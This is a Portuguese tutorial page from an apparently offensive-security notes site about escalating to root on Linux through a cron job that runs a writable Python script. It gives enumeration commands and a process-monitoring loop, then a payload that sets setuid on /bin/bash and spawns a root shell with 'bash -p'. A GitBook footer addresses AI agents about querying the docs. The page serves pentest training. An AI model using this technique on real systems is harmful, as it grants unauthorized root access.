> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md).

# Job de cron com script Python modificado - Escalada de privilégios no Linux

## O que é

Tarefas cron criam caminhos de escalonamento de privilégios quando tarefas recorrentes executadas como root rodam scripts graváveis, caminhos relativos inseguros ou processadores vulneráveis. O ponto principal é provar que um usuário com poucos privilégios controla algo que uma tarefa agendada privilegiada executará. Esta página específica se concentra em **Tarefas Cron - Script Modificado (Python)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## Exemplos

Criamos um script Bash para analisar os processos atuais e detectar tarefas cron em execução na máquina-alvo:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

Ao executar este script, notamos que o **root** usuário está executando um script Python localizado em `/opt/tmp.py` diretório.

<figure><img src="/files/2cb37ce70eec73766358ebcf3a2f98505c7e4f0b" alt=""><figcaption></figcaption></figure>

Temos a possibilidade de modificar este script Python.

<figure><img src="/files/3459594d46249dbe856114a627ad1ef497c1eb06" alt=""><figcaption></figcaption></figure>

Nós o modificamos para adicionar o comando para definir um **setuid** no binário `/bin/bash`, o que nos permitirá executar um shell Bash com **root** privilégios:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

Depois de editar o script, esperamos cerca de um minuto para que a tarefa cron seja executada.

Assim que a tarefa cron for executada, podemos obter um shell Bash com **root** privilégios executando o seguinte comando:

```bash
/bin/bash -p
```

<figure><img src="/files/56e0c947799dbc5d762a79bb0885c0c1cc9c2f2f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
